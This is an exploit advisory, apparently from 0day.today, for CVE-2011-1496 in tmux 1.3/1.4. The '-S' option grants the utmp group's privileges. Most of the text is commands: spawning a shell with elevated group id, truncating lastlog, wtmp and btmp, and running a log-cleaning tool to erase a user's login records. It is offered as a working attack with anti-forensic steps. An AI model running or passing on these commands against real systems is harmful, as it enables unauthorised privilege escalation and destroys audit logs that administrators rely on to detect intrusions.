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tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability
[--------------------------------------- | Team ph0x90bic proudly presents | | tmux -S 1.3/1.4 local utmp exploit | --------------------------------------- # Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability # Date: 11.04.2011 # Author: ph0x90bic # Software Link: http://tmux.sourceforge.net/ # Version: 1.3/1.4 # Tested on: Linux debian 2.6.26-1-686 # CVE : CVE-2011-1496 --- INTRODUCTION tmux 1.3/1.4 contains a privilege escalation vulnerabillity, which gives you utmp group privileges. This bug is important, because it is possible to clean logfiles and use logcleaners for btmp, wtmp and lastlog without local root access. --- EXPLOIT Execute shell as utmp group $ tmux -S /tmp/.whateveryouwant -c id uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company) $ tmux -S /tmp/.whateveryouwant -c /bin/sh $ id uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company) -- Delete logfiles $ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog' $ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp' $ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp' -- Use logcleaner software $ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username # 0day.today [2024-11-15] #